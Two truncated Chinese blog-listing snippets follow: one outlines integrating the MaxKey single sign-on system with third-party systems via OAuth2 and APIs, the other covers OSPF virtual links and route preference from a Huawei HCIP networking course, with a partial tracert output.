实操 maxkey 对接三方文档 概述前置准备&#xff1a;MaxKey 安装与配置&#xff1a;第三方系统准备网络环境 对接三方配置oauth2协议对接导入jar包&#xff08;调接口&#xff09;权限加回调重定向获取token处理业务 api对接三方获取api凭证配置 MaxKey更新代码 概述 最近在搞m…

【华为HCIP实战课程十六】OSPF虚链路Vlink,网络工程师

一、vlink续 区域内部的路由优于区域之间的路由,区域之间优于外部路由,外部路由类型1优于外部类型2 只有同一级别的路由才会对比cost <R3>tracert 11.1.1.1 traceroute to 11.1.1.1(11.1.1.1), max hops: 30 ,packet length: 40,press CTRL_C to break 1 10.1.35.5 …